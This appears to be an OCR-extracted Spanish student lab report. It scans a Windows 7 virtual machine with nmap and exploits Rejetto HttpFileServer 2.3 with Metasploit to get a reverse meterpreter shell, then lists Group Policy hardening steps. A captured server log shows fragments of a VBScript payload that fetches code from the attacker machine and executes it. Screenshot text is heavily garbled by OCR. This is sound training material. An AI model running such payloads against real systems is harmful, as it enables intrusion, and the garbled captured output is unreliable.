08:31:12 p.m. 192.168.0.140:49272 Requested GET /
058:31:158 p.m. 192.1658.0.140:49272 Requested GET /prueba unad/
08:31:15 p.m. 192.168.0.140:49272 Reqguested GET /?mode=jguery

o
@
)
4
o

o
3

192 168 .0.140:49272 Requested GET /

08:31:17 p.m. 192.168.0.140:43272 Requested GET /fprueba unad/
08:31:17 p.m. 192.168.0.140:49272 Requested GET /?mode=jquery
08:31:17 p.m. 192.168.0.140:49272 Requested GET /

08:32:24 p.m. 192 168.0.130:34962 Requested GET /
08:32:24 p.m. 192.168.0.130:34966 Requested GET /
08:32:24 p.m. 192.168.0.130:34974 Requested GET /
08:32:24 p.m. 192.168.0.130:34976 Reqguested GET /
08:32:44 p.m. 192.168.0.130:34975 Reguested GET /
08:32:44 p.m_ 192 168.0.130:34980 Requested GET /
08:32:44 p.m. 192.168.0.130:34930 Requested GET /
08:32:44 p.m. 192.168.0.130:34992 Requested GET /
08:35:28 p.m. 192.1658.0.140:49296 Requested GET /
08:35:28 p.m. 192 168.0.140:49296 Requested GET /?mode=jquery

Fuente: Propio.
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Se establece la direccion IP de la maquina del sistema operativo Windows 7-X64:

Imagen 13, direccion IP de la maquina del sistema operativo Windows 7-X64.

Adaptador de Ethernet Conexidn de Area local:

Sufijo DNS especifico para la conexid H
Diveccddn IPv6 . . . . . . . . . . = :484:5&7-:::ﬁ:aﬂﬁﬂ?t‘f:f&?2:BECE
d

Direccddn IPv6 . . . . . . . . . . = :484:5e?c: :hB@de - fALB - dff - 7525

Direccidn IPvb temporal. . . .- = :484:5ePc: t2165:f52:1e29:5620

Uinculo: direccidn IPué lucal. - t:GBde - fBLE - df f - 9525211

Diveccion IPvd. . . . . . . . . . . . 192_.168.80.148

Mascara de subred . . . . . . 255.255.255.8

Puerta de enlace predetetmlnada . feBB:48f7:cBff :febP:eBecxil
192.168.8.1

Fuente: Propio.

Se realiza enumeracion con la herramienta nmap en el sistema operativo Windows
IP 192.168.0.140 en el sistema operativo distribucion Kali Linux. Se realiza la
identificacion de una vulnerabilidad el cual es un servicio identificado como puerto
80/tcp version HttpFileServer httpd 2.3m.

Imagen 14 enumeracion con la herramienta nmap.

[E] estudiante@seminario: ~ [E] estudiante@seminario: ~
estudiante@seminario: ~

Archivo Acciones Editar Vista Ayuda

s at https://nmap.org/submit/

Fuente Propio.
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Se realiza el ingreso a metasploit:

Imagen 15, ingreso a metasploit.
B mErs| [E estudiante@seminario: ~ [E] estudiante@ io: ~ E] estudiante@seminario: ~

estud

Archivo Acciones Editar Vista Ayuda
root@seminario:~# msfconsole
IIIIII

II

II

II

II
IIIIII

|
|
|
|

ip: After running , be sure to check out the result of
Fuente: Propio.

A continuacion, se realiza busqueda de la version encontrada: HttpFileServer
httpd 2.3m.

Imagen 16, busqueda HttpFileServer httpd 2.3m.
nsf5 > search HttpFile T

Fuente: Propio.

Se identifica el aplicativo el cual contiene la vulnerabilidad. Rejetto HttpFileServer
es vulnerable al ataque de ejecucién remota de comandos debido a una expresion
regular deficiente en el archivo ParserLib.pas. Este médulo explota los comandos
de secuencia de comandos HFS mediante el uso de '% 00' para omitir el filtrado.
Este modulo se ha probado con éxito en HFS 2.3b sobre Windows XP SP3,
Windows 7 SP1 y Windows 8.
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Luego de validar el exploit a utilizar, obtengo informacion del sistema objetivo, con
la instruccién info:

Imagen 17, informacién del sistema objetivo.

Fuente: Propio.
Se obtiene informacion del sistema objetivo, con la instruccién options:

Imagen 18, informacion del sistema objetivo.

Fuente: Propio.
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Se selecciona el objetivo, en la direccion IP 192.168.0.140 y se asigna un Payload,
el cual se puede definir como la carga que se ejecuta en la vulnerabilidad.

Imagen 19, establecimiento del Payload.

M L

msf5 loit (

Fuente: Propio.
Se ejecuta el exploit en la aplicacion:

Imagen 20, ejecucion del exploit.

# HFS ~ HTTP File Server 23m Build 300 =2 o =<
& Menu @ Port: 80 | i You are in Expert mode

@ Open in browser  http://192.168.0.140/ prueba %20unad/ Copy to clipboard

bp=

Virtual File System Leg ¥ | Search
_'. ! = If Err.Mumber <= 0 Then -
[ |:| > wsh.exit
= End If
=x.Send

> Execute x.responseText.}
07:563:41 p.m. 192.168.0.130:3
> x.Open "GET""http://192.16
= If Err Mumber <= 0 Then

= wsh_exit

= End If

= x.Send

> Execute x.responseText.}
07:54:09 p.m. 192.168.0.130:41429 Requested GET /?search=

959 Requested GET (?search=07:564:09 p.m
130:8080/uinFr3deEmi" False

m

4 T 3
8 1P address 1 File Status Speed Time.. Progress
192.168.0.130:43407 - idlel
192.168.0.130:41429 - idlel

Connections: 2/1  Out00KB/s In00KB/s Total Qutl2M  Totalln: 113.0 K VF5: 1 items - not saved

Fuente: Propio.

Se ejecuta el exploit en metasploit:

Imagen 21, ejecuciéon del exploit.
S 1T (window ) =

ning: URI.

c.rb:110: ning: URL.

on the target

Fuente: Propio.
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Los datos que fueron de ayuda para identificar el fallo de seguridad especifico el
cual ataca a la maquina windows 7 X64 son:

e Aplicacion que tiene instalada es rejetto v. 2.3.

e El sistema operativo en el cual se encuentra la instalacion y la fuga de
informacion, windows 7 con arquitectura X64.

e La aplicacion rejetto v. 2.3. tiene asociado un exploit que puede terminar en
una Shell reversa y una sesion abierta de meterpreter.

e Se establece en la investigacion, un escalamiento de privilegios por medio de
la creacion de un usuario tipo administrador del sistema.

Se utilizaron las siguientes herramientas para poder identificar los fallos de
seguridad de la “maquina Windows 7:

Kali: Es una distribucién basada en Linux, su antecesor se puede decir que es
BackTrack. Este sistema operativo esta enfocado en la auditoria y la seguridad
informatica en general, trae preinstalado muchas herramientas para diferentes
actividades como escaneo de puertos, sniffer, crakeo de contrasefias, pruebas de
seguridad inalambrica, entre otras. Su licencia es GPL.’

Nmap: Utilidad multi plataforma de codigo abierto con licencia GNU para
descubrimiento de redes y auditoria de seguridad. Emplea paquetes de IP sin
procesar para determinar si un host esta disponible en la red, los servicios activos,
el sistema operativo y los filtros que tiene el firewall; dentro de sus atributos estan
su flexibilidad, portabilidad, soporte por parte de una comunidad activa y la buena
documentacién que lo acompania.'®

Metasploit: Framework con licencia BDS. Permite desarrollar y ejecutar exploit
contra maquinas remotas. Se construy0 inicialmente en leguaje Perl, pero fue
reescrito en Ruby; estd orientado al desarrollo y ejecucion de exploit contra
maquinas remotas. La versidn no paga tiene soporte de la comunidad y la version
paga conocida como Metasploit pro esta soportada por Rapid 7.%°

El puerto es el 80 Este puerto es el que se usa para la navegacion web de forma
no segura HTTP.

17 MUY SEGURIDAD, Diez herramientas de pentesting con las que poner a prueba la seguridad
de tu empresa, Disponible en: https://www.muyseguridad.net/2019/06/05/diez-herramientas-
pentatesting/

18 |pit, p. 1.

19 |pit, p. 1
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https://www.muyseguridad.net/2019/06/05/diez-herramientas-pentatesting/

Los ataques de exploits son una clase de malware que se aprovecha de los errores
desarrollados en los softwares con el fin de infectar dispositivos a través de algun
tipo de cédigo malintencionado o malicioso. Estos ataques logran un mayor éxito
por lo que estos no necesitan de interaccion alguna por parte de los usuarios y
estos logran entregar su cédigo sin que se genere alguna sospecha. El impacto
negativo es muy alto, ya que permite acceder de manera parcial o total si se
escalan privilegios, de la maquina y de los dispositivos conectados a esa red.

Se identifica el aplicativo el cual contiene la vulnerabilidad. Rejetto HttpFileServer
es vulnerable al ataque de ejecucién remota de comandos debido a una expresion
regular deficiente en el archivo ParserLib.pas. Este médulo explota los comandos
de secuencia de comandos HFS mediante el uso de '% 00' para omitir el filtrado.
Este modulo se ha probado con éxito en HFS 2.3b sobre Windows XP SP3,
Windows 7 SP1 y Windows 8.
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2.4.3 PROCESO PARA HARDENIZACION

Hardening (endurecimiento) en la seguridad informatica, es el proceso de
aseguramiento de los sistemas a través de la reduccidon de las vulnerabilidades,
realizando eliminacion de software, de servicios, de usuarios innecesarios en estos
sistemas. Adicionalmente, se pueden cerrar puertos que no estén en uso, entre
otras técnicas y métodos.

Teniendo en cuenta el ataque ejecutado en el ejercicio, se pueden proponer las
siguientes acciones al tratarse de un sistema operativo Windows:

A través del editor de directivas de grupo local Gpedit.msc se puede modificar
varias opciones del sistema operativo windows. Este editor de politicas es una
potente herramienta para conseguir endurecer el sistema, como habilitando,
deshabilitando y restringiendo funciones del sistema, aplicando restricciones a la
navegacion por internet a través de configuraciones de estas propiedades,
restringiendo accesos a través de contrasefias a la BIOS de la maquina anfitriona.

Restringir la navegacion a través de internet en la maquina Windows 7 X64, se
realiza los siguientes pasos:

e Ingresar a Panel de control > Opciones de internet > Solapa Conexiones
Configuracion LAN.

Imagen 22, configuracion LAN.
E&W\'rﬂfSEZOZO*XM [Corriendo] - Oracle VM VirtualBox

Archivo  Msquina  Ver Entrada  Dispositivos  Ayuda
,

& Propiedades: Internet 7= ===

(| | ¥ Configuracin de la red de érea local (LAN] ==L ~ [ 43 | [ Buscar en el Panel de contro! 2|

Canfiguracién automatica

La configuracién automética puede invalidar a la manual. Para evitar Verpor: Icones pequefios ¥
que esto ocurra, deshabilite la configuracién automética,

] Detectar la configuradién automaticamente

Usar scripts de configuracién automética o . .
=8 Administrador de dispositivos

¥ Centro de actividades

Servidor proxy parti..  (®) Centro de sincronizacion
Usar un servidor proxy para la LAN (esta configuracién no se F
E E loma Control parental
aplicara a conexiones de acceso telefdnico ni VPN). B P
| p—— %3 Dispositivos 50ras
Direcdgn: | 127.0.0.1 | Puerto: 80 [ Opciones avanzadas | %4 Dispositivos e impresora
A Fuentes

Mo usar servider proxy para direcciones locales
] Herramientas administrativas

— i ¥ Mous
Cancelar rendi... F Mouse

¢~ Opciones de indizacién

& personalizacion
Configuradién de |a red de 4rea local (LAN)

. N S — & Reconocimiento de voz
La configuracion de LAN no se aplica a las Configuracion de LAN
conexiones de acceso telefénico. Elija 18 Sistema
Configuracién, més arriba, para configurar el
acceso telefdnica. ol Tareas iniciales

[ Ubicacién y otros sensores

g 06 m ¢

Fuente: Autor.
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Se marca la opcién “usar un servidor proxy para LAN...” donde se digitara en la
direccion IP local de la maquina (127.0.0.1) puerto 80

Imagen 23, configurar servidor proxy
%Win?—SEZOZG—XM [Corriendo] - Oracle VM VirtualBox

Archivo  M3quina Ver Entrada Dispositives  Ayuda

P_ Propiedades: Internet T 2 o= =

- | +3 ‘ ‘ Buscar en el Panel de control

k Pﬂ Configuracién de la red de area local (LAN)

ol |

&
_—

i

U Configuracion del proxy
Ver por  Iconos pequefios ~

Servidores
[ 8 Tipo Direccion del proxy que va a usar Puerto
S = Pl
G k
P 127.0.0.1 PoBo =4 Administrador de dispositivos
Seguro: 127.0.0.1 + | 80 P Centro de actividades
=T 127.0.0.1 . [80 parti.. (B Centro de sincronizacién
i ma & Control parental
acks:

;';:.3 Dispositivos e impresoras

Usar el mismo servidor proxy para todos los protocolos A Fuentes

m

Herramientas administrativas
Excepciones

o rendi... F Mouse
No usar un servidor proxy para las direcciones que
\;% comiencen con: ¢4 Opciones de indizacién
En ests ventana se colocan URL permitidas para - u Personalizacion

navegar, separadas con punto v coma ()|
@1 Reconocimiente de voz

Use puntos y coma ( ; ) para separar entradas.
184 Sistemna

=1 Tareasiniciales
!

Ubicacién y otros sensores

e | 0 @ B¢

Fuente: Autor.

En la ventana excepciones, se colocan URL’s permitidas para navegar, separadas
con punto y coma (;)
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Se ejecuta el comando Gpedit.msc para habilitar el editor de directivas de grupo
local:

Imagen 24, ejecucion Gpedit.msc
%Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox

Archivo Maquina Ver Entrada Dispositivos  Ayuda

Escriba el nombre del programa, carpeta, documento o
recurso de Internet que desea abrir con Windows.

Abrir

'@ Esta tarea se creard con privilegios administrativos.

[ Aceptar ” Cancelar H Examinar...

Fuente: Autor.

Una vez dentro, se inicia el proceso de establecer las restricciones en
Configuracion del equipo > Plantillas administrativas > Todos los valores.

Imagen 25, configuracion restricciones.
/72 Win7-SE2020-X64 [Corriendo] - Oracle VM VirtualBox - O X

Archivo  Méquina  Ver Entrada  Dispositivos  Ayuda

"= Editor de directivas de grupo local [E=E[E=R==]

Archive  Accion  Ver Ayuds

ez 1@ =z =T

L=J Directiva Equipo local
4 {8 Configuracién del equipo
» [ Configuracién de software Seleccione un elemento paraversu  Configuracisn ° Estado Comen
» (] Configuracién de Windows || descripcion.
4[] Plantillas administrativas
» [ Componentes de Windows|

[ Impresoras

[iZ] Abrir archivos basandose en el contenido, no en la extensis...  No configurada Ne

Abrir archivos basandose en el contenido, no en la extensio..  No configurada Nc
Abrir archivos basandose en el contenido, no en la extensio..  No configurada Nc

» (] Panel de contral Abrir archivos basindose en el contenido, no en la extensit..  No configurada Nc
s [ Red Abrir archivos basandose en el contenido, no en la extensid...  No configurada Nc
> [ Sistena Abrir archivos basindose en el contenido, no en la extensié..  No configurada Ne

7%, Todos los valores| Abrir archives basndose en el contenide, no en la extensié...  No configurada Ne
4 & Configuracién de usuaric
1> [ Configuracién de software
1 [ Configuracién de Windows
1> [ Plantillas administrativas

Abrir archivos baséndose en el contenido, no en la extensié...  No configurada Ne
Abrir archivos basandese en el contenido, no en la extensié..  No configurada Ne
Abrir archivos basandese en el contenido, no en la extensié..  No configurada Ne
Acceso al registro Ne configurada Ne
Acceso al registro Ne configurada Ne
Acceso al registro Ne configurada Ne
Acceso al registro No configurada Ne
Accién al desconectar el servidor No configurada Ne
Accién de notificacion de bateria baja No configurada Ne

2] Accién de notificacion de bateria critica No configurada Ne o)
) : 3

alr .

< [ * | Extendido A Estandar /

Fuente: Autor.
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Se ubican cada una de las siguientes configuraciones para que queden en
estado indicado:

e Configurar Actualizaciones automaticas. Deshabilitada.

Imagen 26, Configuracion actualizaciones automaticas.
EWMT—SEZOZO—XM [Corriendo] - Oracle VM VirtualBox

Archive  Méaquina Ver Entrada  Dispositivos  Ayuda

[ Editor de directivas de grupo local [=]&]=]

Archive  Accion  Ver  Ayuda
@ BT

=] Directiva Equipo local " Todos los valores
4 & Configuracién del equipo -

» [7] Configuracion de software

Configurar Actualizaciones Configuracitn Estado Comen
> [ Conf 6n de Wind 3t
- Lonfiguracion ce Windows || automaticas | Configuracién predeterminads de informe de aplicaciones  No configurada Ne
4 7 Plantillas administrativas Confa it Moot N
> [7] Componentes de Windows || Editar configuracién de directiva “”“9“"’ _““‘Zi‘m":““ Trliess Mnmn igurada ..‘E
| Impresoras —
1 Panel de control Requisitos: A Configurar Actualizaciones automaticas = ==
. Al menos Windo
» [ Red Pack3 o Window ] Configurar Actualizaciones automticas
» ] Sistema GorricePackl Valoranterior | | Valor siguiente
-, Todos los valores
4 % Configuracién de usuario Descripcion: ©) Noconfigurada ~ Comentarie: -
. Especifica si este
+ [ Configuracién de software -
. N actualizaciones d| ) Habilitada
» [ Configuracién de Windows (| gy deccarane |
> [ Plantillas administrativas través del serviciq @ Deshabilitada =
automatics de Compatible con: | menos Windows 2000 Service Pack 3 o Windows XP Professional Service
Este valor permity kL =
actuslizaciones 3
habilitadas en el Opciones: Ayuda:
servicio esta habi
seleccionar una — T—
opciones en la cq) || Canfigurar actualizacion automdtica Especifica si este equipo recibira actuslizaciones de seguridad y | =
directiva de grup) otras descargas importantes a través del servicio de actuslizacion
- - ° automitica de Windows. =
“ ] + | Extendido 4 Est
1613 V{ Internet Explorer i Las siguientes opciones solo se requieren Este valor permite especificar si las actualizaciones automaticas

Fuente: Autor.
¢ Discos extraibles: denegar acceso de ejecucion. Habilitada.

Imagen 27, configuracion denegar acceso de ejecucion.
fﬁwfanSEZOZOfXM [Corriendo] - Oracle VM VirtualBox — O X

Archivo Maquina Ver Entrada Dispositvos  Ayuda

=J Editor de directivas de grupo local [o & |[=
Archivo  Accién  Ver Ayuda

|

=/ Directiva Equipo local R
4 & Configuracién del equipe
| Cenfiguracién de software Discos extraibles: denegar acceso de  Configuracion Estado Comen *
. Ef"i‘_ﬂ”’“d‘””_ d_etw't_”d“""’s ejecucion ] Directiva de instalacién de ActiveX para sitios en zonas de c.. Mo configurada Ne
(7] Plantillos administrativas ; —— )
Componentes de Windows | | Editar configuracién de directiva M Deceslotiali=sidoncyaacos aidicjcubn Mo configurada N
, :
.
- Impresoras Requisitos| ™ Discos extraibles: denegar acceso de gjecucién = d
. [ Panel de control
o Al menos !
' | e Server 2005 E Discos extraibles: denegar acceso de ejecucién Valor anterior I [ e ] 1
. Todos los valores Descripeig comen !
4§ Configuracion de usuario istﬂ W"f" ©) No configurada ~ -omentane: “ [ e
; eniegs e
| Cenfiguracion de software PR |~ <
| Configuracién de Windows .
~ Plantillas administrativas Si habilita| () Deshabilitada = o
:ifﬁmvaﬂ Compafible con: 4| menos Windows 7 o Windows Server 2008 R2 ~ e
enegara

Fuente: Autor.
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A continuacion,

restricciones en Configuracion de usuarios

administrativas > todos los valores:

> plantillas

e Actualizaciones automaticas de Windows. Habilitada:

Imagen 28, configuracion actualizaciones autométicas de Windows.
WW(n?—SEZOZO—XM [Corriendo] - Oracle VM VirtualBox

Archive Méguina Ver Entrada

Dispositives  Ayuda

— O pad

_£] Editor de directivas de grupo local [= e =
Archivo Accién  Ver Ayuda
| lH=E T
=] Directiva Equipe local B T
4 8 Configuracién del equipo -
1 Cenfiguracién de software Actualizaciones automaticas de Configuracién . Estado Comen *
- Configuracién de Windows || Windows £ Actualizaciones automiticas de Windows No configurada N
“ Plantillas administrativas
: ) c
4 4 Configuracién de usuario Editar conl & actyalizaciones automaticas de Windows = [ .
1 Configuracién desoftware ||
; equisitos ) o
-] cunﬁ.guramun.d.ewmuws cotoWin|| ] Actualizaciones automaticas de Windows T ] [ Volor siguicnte ] y
4 7 Plantillas administrativas
9 Carpetas compartidas Descripcis| : y
“| Componentes de Windows|| Esta opcie| = Necenfigurada Comentario: = | e
- Escritorio sctualizac) oL o
" MeniInicio y barra detere | “1/P2 9|~ | e
“ Panel de control Codpvend, O Destebliss d
e Administracion de discos Deshabilitada:
. ., .. ., .
Imagen 29, configuracion administracion de discos.
i Win7-5E2020-X64 [Corriendo] - Oracle VM VirtualBox - O X
Archive Maquina  Ver Entrads  Dispositivos  Ayuda
= Editor de directivas de grupo local = | |[=
Archivo  Accion  Ver  Ayuda
| 7 el 4
=] Directiva Equipo local " Todos los valores
4 8 Configuracién del equipo -
| Configuracién de software || pgministracién de discos Configuracién : Estado Comen *
| Configuracion de Windows * || Administracién de discos Mo configurada N

| Plantillas administrativas
4 4, Configuracién de usuario
9 Configuracién de software
7 Configuracién de Windows
4[] Plantillas administrativas
| Carpetas compartidas
| Componentes de Windows
| Escriterio
| Menii Inicio y barra de tare|

*| Panel de control

Fuente: Autor.

Editar config

A Administracién de discos

Requisitos:
Almenos Wil = Administracién de discos
Descripién:
Permite 0 prd o) o configurada  Comentario:
complement| - 9
() Habilitada
Si habilita est|
permitird el @) Deshabilitada
mientras qui Fmmmmabilla s,
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e Administracion de equipos. Deshabilitada:

Imagen 30, configuracion administracion de equipos.
wWinT—SEZOZO—XM [Corriendo] - Oracle VM VirtualBox - O *

Archivo  Méguine  Ver Entrads  Dispositivos  Ayuda

[ Editor de directivas de grupe local ==
Archivo  Accién  Ver Ayuda

Rl At s] o [HEYN ? lonel s 4
4._' Directiva Equipe lecal .. Todos los valores
4 &l Configuracién del equipo -
> & Configuracién de software Administracién de equipos Configuracién - Estado Comr
» 71 Configuracitn de Windows o[ Torsrmimns No configurada
> (| Plantillas administrativas Editar confi Sl dicoch,
a %, Configuracion de usuario A Administracién de equipos
» | Configuracién de software Requisitos:
> [ Configuracion de Windows Almenes 25| A TSR G SEEETE Walor anterior ] [ Valor siguiente ]
4 [ | Plantillas administrativas Descripcién
_ Carpetas compartidas _ S
| Carpy p Permite o p ) No configurada ~ Comentarie: -
» || Componentes de Windows | complemer|
» || Escritorio () Habilitad,
. || sinabiitagf T
| Meni Inicio y barra de tarei ermitird el _ -
> [Z] Panel de control E‘nientras a BTl .
R Compatible con: | mennc Windows 7000 P

Fuente: Auiar.

e Desactivar Reproduccion automatica Habilitada:

Imagen 31, configuracion reproduccién automatica.

i Win7-5E2020-X64 [Corrienda] - Oracle VM VirtualBox — O X
Archive Maguina Ver Entradea Dispositivos Ayuda
[ Editor de directivas de grupo local =[] =]
Archivo Accién  Ver Ayuda
e 5@ = HmEl T
(=[ Directiva Equipo local _ Todos los valores
4 & Configuracisn del equipo -
» [ Configuracion de software || pegactivar activacién automatica  Configuracién : Estado Comen *
» [ Configuracién de Windows Desactivar activacion automtica Mo configurada Ne
> [ Plantillas administrativas Editar configurgy —
4 ¥, Configuracién de usuario A Desactivar activacion automatica [= e ==
» 7] Configuracién de software || Requisitos: o )
.+ 1] Configuracién de Windows || A Menes Wind) =] Desactivar activacion automatica valor anterior | [ valor siguiente |
4 7] Plantillas administrativas Descripcion:
| Carpetas compartidas Esta configurac| () No configurada  COMentario: "
“| Componentes de Windows| | desactivalaopd
| Escritorio periédicamente] @ Habilitada
~| Mend Inicio y barra de tare actualizar la infi - f
SR | dispositivos corl () Deshabilitada
| el decontre Windows Sides Compatible con: Al menos Windows Vista -
> [ Re
9 Sistema Si habilita esta dl
1= Todes los valores directiva, la opg
= automaticamer|  Qpciones: Ayuda:
estaré dispanibl
control de Win:
Esta configuracion de directiva desactivs la opcion de activar | #
Si deshabilita o periédicamente el equipo para actualizar la informacién en
configuracién d dispositivos compatibles con Windows SideShow.
opcidn de activ
a ™ - s Si habilita esta configuracién de directiva, la opcién de activar
' Extendido /£ autamiticamente el equipo no estars disponible en el Panel de
1417 valores control de Windows SideShow.

Fuente: Autor.
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e Impedir acceso a las unidades desde Mi PC. Habilitada:

Imagen 32, configuracion acceso a las unidades desde Mi PC.

WW\'M-SEZOZO-XM [Corriendo] - Oracle VM VirtualBox - O X

Archive  Miquina Ver Entrada Dispositivos  Ayuda

| Editor de directivas de grupo local o & =
Archivo  Accién  Ver Ayuda

|2 =7

L=/ Directiva Equipe local " Todos los valores
4 (& Configuracion del equipo -
| Configuracion desoftware || mpedir acceso a las unidades desde | Configuracion - Estado Comen =
> L1 Configurscion de Windows || mi PC Impedir acceso a las unidades desde Mi PC No configurada Ne
> 1 Plantillas administrativas
4 4 Configuracién de usuario Editar confiquraci| = Impedir acceso a las unidades desde Mi PC.
» [ Configurocion de software ||
" 1 Configuacion daWindows | RS | F5] tmpesicacceso 3 unddes desde M PC S
4 [ Plantillas administrativas
| Carpetas compartidas Descripcién: No configursda  Comentario: -
» [] Componentes de Windows|| Impide que los us|
| Escritorio PC para tener ace{ @ Habilitada
5| Meni Inicic y barra de tare | 98125 Unidadessq d
Panel de control < BT
> & Si habilita esta op o ]
X patible con: A
. = Red Csarics podien Al menos Windows 2000
7 sistema estructura de dire| ll
- Todoslos valores unidades seleccio
= o elBxplordor | gpciones Ayuda
ne podran abrir 2
tener acceso a su
Tampoco podrin| | Elegir una de lss siguientes combinsciones Si habilita esta opeién, los usuarios podran explorar la estructura | +
de didlogo Eecut de las unidades enMiPCoel
didlogo Conectar || [Restringir todas las unidades Explorador de Windows, pero no pedran abrir las carpetas y tener
para ver los direct] acceso a su contenido. Tampoco podrén usar el cuadro de
- - | didloge Ejecutar o ¢l cuadro de dislogo Canectar a unidad de red
« I ' {
'\ Bxtencido /{Esta para ver los directorios de estas unidades.
1417 valores Reproductor de Windows Media | L

Fuente: Autor.

e Impedir el acceso a herramientas de edicion del Registro. Habilitada:

Imagen 33, configuracion acceso a herramientas de edicion del registro.
EﬁW\'nT—SEmZG—XM [Corriendo] - Oracle VM VirtualBox — O X

Archiva  Méquina  Ver Entrada  Dispositivos  Ayuda

I" Editor de directivas de grupo local

Archivo  Accién  Ver Ayuda

e nE = -

=/ Directiva Equipo local " Todos los valores
4 & Configuracién del equipo -
» [ Configuracidn de software || 1mpedir el acceso a herramientas de | Configuracién - Estado Comen *
» [ Configuracion de Windows || edicién del Registro mpedir el acceso a herramientas de edicin del Registro Mo configurada Ne
- [ Plantillas sdministrativas
4 % Configuracién de usuario Editar confiqu| A Impedir el acceso a herramientas de edicién del Registro
» [ Configuracion de softwere ||
" N equisitos: &
. ] Configurocién de Windows || Reauistos [} Impedir el acceso  herramientas de edicidn del Registro TS—
4 [ Plantillas administrativas
% Carpetas compartidas Descripion: | =) o configurads  Comentario: =
+ [] Componentes de Windows|| Deshabilita elq -
» [ Escritorio Windows, Reg Habilitada
% Meni Inicio y barrs de tare| o i
Panel de control Si esta opcién || @ Deshabiliada
4 intenta iniciar Compatible con: =
O Red apareid an P Al menos Windows 2000 &
» [ sistema que unz opcig] i
7, Tedos los valores impide dicha
Opciones: Ayuda:
Para impedir q
otras herramie] _
use la opeisn | [ ,Desea deshabiliar Ia ejecucion sin notificacion de Deshabilita el editor del Registro de Windows, Regedit.exe. -
splicaciones &f | rogeit?
Windows'. Si esta opci6n se habilita y el usuaria intenta iniciar un editor del
Registro, aparecers un mensaje que explica que una opeidn de
o m v |\ Extendido (8 configuracion impide dicha accién
1417 valores Para impedir que los usuarios usen otras herramientss

Fuente: Autor.
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e Deshabilitar la configuracion de la pagina Opciones avanzadas. Habilitada:

Imagen 34, configuracion de la pagina opciones avanzadas.
Qﬂ Win7-SE2020-X64 [Corriendo] - QOracle VM VirtualBox — O X

Archivo  Méguina Ver Entrada  Disposiivos  Ayuda

T Editor de directivas de grupo local [= = ][=]
Archivo  Accién  Ver Ayuda
=@ =zBEF
=/ Directiva Equipe local " Todos los valores
4 {8 Configuracién del equipo b
» [] Configuracion de software Deshabilitar la configuracién de la  Configuracidn - Estado Comen *
» ] Configuracién de Windows | pagina Opciones avanzadas Deshabilitar la configuracion de la pagina Opciones avanzad... No configurada Ne
» [ Plantillas administrativas
4 i Configuracién de usuario Editar confiqury & peshabilitar Is configuracion de la pagina Opciones avanzadas [
» [ Configuracion de software |
. . equisitos: . .
[ Configuracién de Windows || j#SHS |1 =] Deshbiltar 2 configuracién o 2 pagina Opeiones avanzadas
4 [ Plantillas sdministrativas
~| Carpetas compartidas Descripcidn: - Comentario:
, [ Componentes de Windows|| Impide que los| = Ne configurada m
» [ Escritorio la configuracion g 1yt iiitada

Opciones avang

“ Mend Inicio y barra de tarei | OF
didlogo Opcion| &) pesabilitada i

> [ Panel de control
. [ Red Si habilita esta Compatible con: Al menos Intemet Explorer 5.0 -
> [ Sistema usuarios no po: l
" Todos los valores epcioncs avan:

como SLAUITE . Opciones: Ayuda:

impresién. Los

activar ni desac

la ficha Opcion: Impide que los usuarios cambien la configuracion en la ficha -

Opciones avanzadas del cuadro de didlogo Opciones de Internet.

Si deshabilita e

configura, los u Si habilita esta directiva, los usuarios no podran modificar las

'\ Extendido (] opciones avanzadas de Intemet, como sequridad, multimedia e
impresién. Los usuarios no podran activar ni desactivar las

casillas en la ficha Opciones Avanzadas.

o i

1417 valores

Fuente: Autor.

e Impedir el acceso al simbolo del sistema. Habilitada:

Imagen 35. configuracion acceso al simbolo del sistema.
fﬁWinTSEZOZ(}XM [Corriendo] - Oracle VM VirtualBox — U X

Archivo Maquina Ver Entrada Dispostives  Ayuda

[ Editor de directivas de grupo local

Archive  Accion  Ver  Ayuda

e ==

=/ Directiva Equips local e
4 & Configuracién del equips b
» [ Configuracién de software || fmpedir el acceso al simbolo del Configuracion Estado Comen
» [ Configuracion de Windows || sistema mpedir el acceso al simbolo del sistema Mo configurada Ne
. [ Plantillas administrativas
4 %, Configuracién de usuario Editar config) & Impedir el acceso al simbolo del sistema
[ Configurecitn desoftware |[
- equisitos: - o
[ Configurecion deWindows || Re945'0% || 5] Impecir ol acceso ol simbolo el sstema C—— l [ Valor siguiente ]
4 [ Plentillas administrativas
“| Carpetas compartidas Descripcidn: - Comentario:
. 7 Componentes de Windows|| Impide quel{ = Mo configurada
» [ Escriterio elsimboloint &) Hapilitada
: Cmd.exe Estf
| MeniInicio y barre detare | (<& 25 = i
» [7] Panel de control (emdy bat) ) Etlfiies
, T Red un equipo. Compatible con: | menos Windows 2000 R
» 7 Sistema e
£ Todos los valeres Slthﬂl:"‘tzest
intenta abrir
eomandos o Opeiones: Ayuda:
mensaje que
opci6n de col [ Deces desactivar también el procesamiznto de Impide que los usurios ejecuten el simbolo interactivo del -
dicha accion :mpts el eirmbiol del sictema? sistema, Cmd.exe. Esta opcién también determina si los archivos
: por lotes (.cmd y bat) pueden ejecutarse en un equipo.
q o |\ Exendido Si habilita ests opcién y el usuario intents sbrir uns ventana de
comandos, el sistema muestra un mensaje que explica que una
1417 valores opcién de configuracién impide dicha accion.

Fuente: Autor.
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e Impedir que los usuarios personalicen su pantalla Inicio. Habilitada:

Imagen 36, configuracion usuarios personalicen su pantalla Inicio.
QﬁWianSEZOZOfXM [Corriendo] - Oracle VM VirtualBox - d X

Archivo Maquina Ver Entrada Dispositivos Ayuda

[ Editor de directivas de grupe local [= e =]

Archive  Accion  Ver Ayuda

ke AR 7 foal i 4
|=[ Directiva Equipo local . Todos los valores
4 & Configuracién del equipe -
» [ Configuracién de software Ocultar la pégina Agregar nuevos | Configuracion - Estado -
> CD’“"QU’E“””_ d_ew'"“""’s programas Ocultar la pagina Agregar nuevos programas No configurada
> [ Plantillas administrativas
4 % Configuracién de usuario Editar confiquracicn | # Ocultar la pagina Agregar nuevos programas
- [] Configuracion de software R
" . . itos: 3
» ] Configuracién deWindows || JSIO% | =] i B e A A O 2 T I I T l l Valor siguiente ]
4 || Plantillas administrativas Windows Server 2003
| Carpetas compartidas XPyWindows 2000 | ) No configurada  COmentario: .
| Componentes de Windows|
> [ Escritorio Iéesmp‘ck\jéng N @ Habilitada
A uita el botdn Agreg|
- :ﬂemrémcm);hlana detare, programas de la barr{ (0) Deshabilitada ]
> [ Panel de contro . X
Red 0 duiter programes. Compatible con: 5515 os sistemas operativos Windows Server 2003, Windows XPy Windows
=l consecuencia, los us 2000
| Sistema pueden ver ni cambi i
= Todos los valores adjunta,
Opcianes: Ayuda:
El boten Agregar nug
programas permite a
